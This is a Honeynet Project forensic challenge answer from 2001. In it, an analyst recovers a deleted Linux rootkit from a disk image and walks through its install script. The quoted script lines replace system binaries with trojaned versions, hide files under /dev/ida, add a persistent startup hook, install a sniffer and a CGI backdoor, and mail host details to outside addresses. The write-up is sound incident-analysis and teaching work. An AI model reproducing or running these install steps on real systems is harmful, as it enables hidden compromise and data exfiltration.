Project Honeynet Scan of the Month - May 2001 Analysis and Answers Submitted by: Mike Kvasnak mkvasnak@svsinc.com Question 1: Show step by step how you identify and recover the deleted rootkit from the / partition. 1.1 Download the compressed file system image and verify the MD5 signature #wget http://project.honeynet.org/scans/scan15/honeynet.tar.gz #md5sum honeynet.tar.gz 0dff8fb9fe022ea80d8f1a4e4ae33e21 honeynet.tar.gz This is okay. 1.2 Uncompress the image and verify the MD5 signature #tar xvzf honeynet.tar.gz drwxr-x--- lance/lance 0 2001-04-26 15:45:28 honeynet/ -rw-r----- lance/lance 271401984 2001-03-16 10:43:31 honeynet/honeypot.hda8.dd -rw-r----- lance/lance 471 2001-04-26 15:45:28 honeynet/README #cd honeynet #md5sum honeypot.hda8.dd 5a8ebf5725b15e563c825be85f2f852e honeypot.hda8.dd This is okay too. 1.3 Extract free but not empty inodes from the file system image For this step I used the following script from Thomas Roessler's Forensic Challenge evidence.txt document (http://project.honeynet.org/challenge/results/submissions/roessler/evidence.txt). for f in hda1 hda5 hda6 hda7 hda8 ; do \ mkdir $f ; \ ils -r /attic/forensics/honeypot.${f}.dd | \ awk -F '|' '(NF == 13 && $2 == "f" && $11 > 0) { print $1 }' | \ while read inode ; do \ icat /attic/forensics/honeypot.${f}.dd $inode > $f/$inode ; \ done ; \ done In order to complete this step I also had to: 1.3.1 Download and install The Coroner Toolkit (tct-1.06) 1.3.2 Review the man pages and READMEs for The Coroner Toolkit 1.3.3 Setup the script for the proper paths to ils, icat and honeypot.hda8.dd The result of running the script is a directory "hda8" with recovered data stored in files named with the inode number. Cool. 1.4 Determine the file types of the recovered data files #file * > filetypes then #cat filetypes shows 12107: empty 16110: ASCII text 2039: ELF 32-bit LSB executable, Intel 80386, version 1, dynamically linked (uses shared libs), not stripped 2040: ASCII text 2041: Bourne shell script text 2042: ELF 32-bit LSB executable, Intel 80386, version 1, dynamically linked (uses shared libs), stripped 2043: Bourne-Again shell script text 2044: English text 2045: Bourne shell script text 2046: English text 2047: perl commands text 2048: English text 2049: data 2050: ASCII text 2051: data 2052: ASCII text 2053: ELF 32-bit LSB executable, Intel 80386, version 1, dynamically linked (uses shared libs), not stripped 2054: ELF 32-bit LSB executable, Intel 80386, version 1, dynamically linked (uses shared libs), stripped 2058: ELF 32-bit LSB executable, Intel 80386, version 1, dynamically linked (uses shared libs), stripped 2059: ASCII text 2060: ASCII text 2061: ELF 32-bit LSB executable, Intel 80386, version 1, dynamically linked (uses shared libs), not stripped 20883: empty 23: gzip compressed data, deflated, last modified: Fri Mar 2 20:09:06 2001, os: Unix 28172: empty 30188: ELF 32-bit LSB executable, Intel 80386, version 1, dynamically linked (uses shared libs), stripped 30191: ELF 32-bit LSB executable, Intel 80386, version 1, dynamically linked (uses shared libs), stripped 48284: ELF 32-bit LSB executable, Intel 80386, version 1, dynamically linked (uses shared libs), stripped 56231: ASCII text 8100: English text 1.5 Review contents of recovered files I then use cat for the readable files and strings on the binary files to take a quick look at the contents of the recovered files. Inode 2050 is interesting in that it appears to be a ssh key and contains the address root@dil2.datainfosys.net. This could be the address of a machine that is allowed to use the ssh backdoor. Interesting, but for this analysis I concentrate on the gzip compressed data file in inode 23. 1.6 Recover the rootkit tarfile I try #tar -tvzf 23 and am happy to see that it is a compressed tar file: drwxr-xr-x 1031/users 0 2001-02-26 13:40:30 last/ tar: Archive contains future timestamp 2002-02-08 06:08:13 -rwxr-xr-x 1031/users 611931 2002-02-08 06:08:13 last/ssh -rw-r--r-- 1031/users 1 2001-02-26 08:29:58 last/pidfile -rwx------ 1031/users 3713 2001-03-02 20:08:37 last/install -rwx------ 1031/users 7165 2001-02-26 08:22:50 last/linsniffer -rwxr-xr-x 1031/users 1345 1999-09-09 09:57:11 last/cleaner -rw-r--r-- 1031/users 3278 2001-01-27 08:11:32 last/inetd.conf -rwxr-xr-x 1031/users 79 2001-02-26 08:28:40 last/lsattr -rw-r--r-- 1031/users 11407 2001-01-27 08:11:44 last/services -rwxr-xr-x 1031/users 4060 2001-02-26 08:22:55 last/sense -rw-r--r-- 1031/users 880 2000-10-22 13:29:44 last/ssh_config -rw------- 1031/users 540 2000-10-22 13:29:44 last/ssh_host_key -rw-r--r-- 1031/users 344 2000-10-22 13:29:44 last/ssh_host_key.pub -rw------- 1031/users 512 2000-10-22 13:29:44 last/ssh_random_seed -rw-r--r-- 1031/users 688 2001-02-26 08:29:51 last/sshd_config -rwx------ 1031/users 8268 2001-02-26 08:22:59 last/sl2 -rwxr-xr-x 1031/users 4620 2001-02-26 08:23:10 last/last.cgi -rwxr-xr-x 1031/users 33280 2001-02-26 08:23:33 last/ps -rwxr-xr-x 1031/users 35300 2001-02-26 08:23:42 last/netstat -rwxr-xr-x 1031/users 19840 2001-02-26 08:23:47 last/ifconfig -rwxr-xr-x 1031/users 53588 2001-02-26 08:23:55 last/top -rwx------ 1031/users 75 2001-02-26 08:24:03 last/logclear -rw-r--r-- root/root 708 2001-03-02 20:05:12 last/s -rwxr-xr-x 1031/users 632066 2001-02-26 07:46:04 last/mkxfs I then run #tar -xvzf 23 which extracts the data creating a "last" directory containing what I believe may be the rootkit. I am not sure what's going on with the date on last/ssh. Could the build machine have had that date or was the date on the file modified for some reason? 1.7 Examine the suspected rootkit With the suspected rootkit installed in hda8/last I investigate the files. I pay particular attention to the "install" file. #cat install shows unset HISTFILE echo "********* Instalarea Rootkitului A Pornit La Drum *********" I am now quite certain that this is the rootkit. Question 2: What files make up the deleted rootkit? The rootkit modifies, replaces, and/or installs 17 files. The core of the rootkit consists of the files: /sbin/ifconfig /bin/netstat /bin/ps /usr/bin/top /usr/sbin/mkxfs /etc/inted.conf /etc/services /usr/bin/lsattr Also it appears that a modified version of ssh is installed on the system. The file ssh_random_seed suggest that by supplying a known seed ssh can be made to generate a known key, thus providing backdoor access. Also a packet sniffer and log clearing utility are installed. The script installs: linsniffer, logclear, sense, sl2, mkxfs, s, ssh_host_key, and ssh_random_seed into two directories /dev/ida/".. " and /dev/ida/.drag-on I am not sure why it is installed in two places. Also the file last.cgi is installed on the system. Some additional analysis of the script follows. This proves useful in answering the Bonus question. The rootkit install script has roughly eight sections, six that modify and install files and two that perform data collection and cleanup. 2.1 The files /sbin/ifconfig; /bin/netstat; /bin/ps; /usr/bin/top; and /usr/sbin/mkxfs; are replaced with rootkit versions by the following lines in "install" rm -rf /sbin/ifconfig mv ifconfig /sbin/ifconfig rm -rf /bin/netstat mv netstat /bin/netstat rm -rf /bin/ps mv ps /bin/ps rm -rf /usr/bin/top mv top /usr/bin/top cp -f mkxfs /usr/sbin/ 2.2 The files /dev/rpm and /dev/last are created: >/dev/rpm echo "3 sl2" >>/dev/rpm echo "3 sshdu" >>/dev/rpm echo "3 linsniffer" >>/dev/rpm echo "3 smurf" >>/dev/rpm echo "3 slice" >>/dev/rpm echo "3 mech" >>/dev/rpm echo "3 muh" >>/dev/rpm echo "3 bnc" >>/dev/rpm echo "3 psybnc" >> /dev/rpm touch /dev/last >/dev/last echo "1 193.231.139" >>/dev/last echo "1 213.154.137" >>/dev/last echo "1 193.254.34" >>/dev/last echo "3 48744" >>/dev/last echo "3 3666" >>/dev/last echo "3 31221" >>/dev/last echo "3 22546" >>/dev/last echo "4 48744" >>/dev/last echo "4 2222" >>/dev/last echo "* Gata" 2.3 The files linsniffer; logclear; sense; sl2; mkxfs; s; ssh_host_key; and ssh_random_seed are added to the /dev/ida/.drag-on and /dev/ida/".. " directories by the following lines: echo "* Facem Director...Si Mutam Alea.. " mkdir -p /dev/ida/.drag-on mkdir -p /dev/ida/".. " echo "* Copiem ssh si alea" cp linsniffer logclear sense sl2 mkxfs s ssh_host_key ssh_random_seed /dev/ida/.drag-on/ cp linsniffer logclear sense sl2 mkxfs s ssh_host_key ssh_random_seed /dev/ida/".. " rm -rf linsniffer logclear sense sl2 mkxfs s ssh_host_key ssh_random_seed touch /dev/ida/.drag-on/tcp.log touch /dev/ida/".. "/tcp.log 2.4 The files /etc/inetd.conf and /etc/services are replaced and the inetd daemon is restarted. cp -f inetd.conf /etc cp -f services /etc killall -HUP inetd 2.5 The file /usr/bin/lsattr is replaced and the file /etc/rc.d/rc.sysinit is modified to call lsattr on system startup and then the install script runs the new version of lsattr. echo "* Adaugam In Startup:) ..." rm -rf /usr/bin/lsattr echo "/usr/bin/lsattr -t1 -X53 -p" >> /etc/rc.d/rc.sysinit echo >> /etc/rc.d/rc.sysinit cp -f lsattr /usr/bin/ chmod 500 /usr/bin/lsattr chattr +i /usr/bin/lsattr /usr/bin/lsattr 2.6 The file last.cgi is installed into the cgi-bin directory, if it can be found. if [ -d /home/httpd/cgi-bin ] then mv -f last.cgi /home/httpd/cgi-bin/ fi if [ -d /usr/local/httpd/cgi-bin ] then mv -f last.cgi /usr/local/httpd/cgi-bin/ fi if [ -d /usr/local/apache/cgi-bin ] then mv -f last.cgi /usr/local/apache/cgi-bin/ fi if [ -d /www/httpd/cgi-bin ] then mv -f last.cgi /www/httpd/cgi-bin/ fi if [ -d /www/cgi-bin ] then mv -f last.cgi /www/cgi-bin/ fi 2.7 Finally, the install script gathers information on the system (name, os version, date of last kernel compile, network interface configuration, time since last reboot, cpu type, model and speed, and partition info, size, and space available) and mails this information to last@linuxmail.org and bidi_dammy@yahoo.com. echo "* Luam Informatiile dorite ..." echo "* Info : $(uname -a)" >> computer echo "* Hostname : $(hostname -f)" >> computer echo "* IfConfig : $(/sbin/ifconfig | grep inet)" >> computer echo "* Uptime : $(uptime)" >> computer echo "* Cpu Vendor ID : $(cat /proc/cpuinfo|grep vendor_id)" >> computer echo "* Cpu Model : $(cat /proc/cpuinfo|grep model)" >> computer echo "* Cpu Speed: $(cat /proc/cpuinfo|grep MHz)" >> computer echo "* Bogomips: $(cat /proc/cpuinfo|grep bogomips)" >> computer echo "* Spatiu Liber: $(df -h)" >> computer echo "* Gata ! Trimitem Mailul ...Asteapta Te Rog " cat computer | mail -s "placinte" last@linuxmail.org cat computer | mail -s "roote" bidi_damm@yahoo.com 2.8 The install script then removes the last directory including itself. rm -rf last lk.tgz computer lk.tar.gz Bonus Question: Was the rootkit ever actually installed on the system? How do you know? I believe the rootkit was installed on the system. I followed the install script and where possible I tried to verify if the commands had been accomplished. Using the install script analysis above I was able to verify that install steps 2.1, 2.2, and 2.3 were completed. Steps 2.4 and 2.5 appear to have been completed as well. I am unable to verify if steps 2.6 and 2.7 were completed. Finally I think step 2.8 was completed as the files are in the free inode section of the disk image and not in the allocated inode section of the disk image. In order to check if the install script was run or not I used some more advice from the Forensic Challenge, I mounted the honeypot.hda8.dd image on the loopback device and checked modifications to the file system by the rootkit install script. In order to mount the image on the loopback device I had to rebuild my kernel to include the loopback device support in the Block device section, rebuild the kernel, and reboot. Once loopback support was in, I was then able to mount the disk image with: #mount -o loop honeypot.hda8.dd /mnt With the disk image on /mnt I am now able to review the filesystem and compare the installation script against the files to determine if the rootkit was actually installed. B.1 The files /sbin/ifconfig; /bin/netstat; and /bin/ps appear to have been altered because #cd /mnt/sbin #ls -lt shows ... lrwxrwxrwx 1 root root 4 Mar 15 04:10 reboot -> halt lrwxrwxrwx 1 root root 4 Mar 15 04:10 telinit -> init -rwxr-xr-x 1 root root 19840 Feb 26 08:23 ifconfig -rwxr-xr-x 1 root root 22912 Mar 8 2000 chkconfig -rwxr-xr-x 1 root root 2684 Mar 8 2000 consoletype ... and #cd /mnt/bin #ls -lt shows ... lrwxrwxrwx 1 root root 3 Mar 15 04:11 bsh -> ash lrwxrwxrwx 1 root root 4 Mar 15 04:10 sh -> bash -rwxr-xr-x 1 root root 35300 Feb 26 08:23 netstat -rwxr-xr-x 1 root root 33280 Feb 26 08:23 ps -rwxr-xr-x 1 root root 2448 Mar 8 2000 doexec -rwxr-xr-x 1 root root 19228 Mar 8 2000 ipcalc ... This is interesting because the files are out of modification time sequence (given by ls -t), and because they show the same times and are the only ones with that time. B.2 The files /dev/rpm and /dev/last exist and contain data that matches the install script. B.3 The directories /dev/ida/.drag-on and /dev/ida/".. " exist and contain the installed files. Here too the file ssh_host_key contains the same string found in the deleted inode 2050 (root@dil2.datainfosys.net). B.4 Similarly to the files in B.1 above the files /etc/inetd.conf and /etc/services have similar modification times which are different than all other files in the folder, which is what I would expect if the install script was run. Although they do not show the same time as ifconfig, netstat and ps. #ls -lt /etc shows ... -rw------- 1 root root 0 Mar 16 07:52 ftpaccess -rw-r--r-- 1 root root 3278 Mar 15 18:45 inetd.conf -rw-r--r-- 1 root root 11407 Mar 15 18:45 services -rw-r--r-- 1 root root 200 Mar 15 10:31 mtab -rw-r--r-- 1 root root 92 Mar 15 10:28 hosts -rw-r--r-- 1 root root 962 Mar 15 10:28 syslog.conf ... B.5 I was unable to verify this step because the directory /usr is empty in the disk image. Probably it was on another disk partition. B.6 I was unable to verify this step of the installation because the directories /usr and /home are empty in the disk image and there is no /www directory. B.7 I was unable to verify if this step was completed or not. None of the free inodes appear to match the "computer" file. Perhaps it was on another partition. B.8 I think this step was executed because the files were deleted and recovered from the free inode section of the disk image. P.S. First timer hours spent to this point ~55. Thanks, it was fun. Mike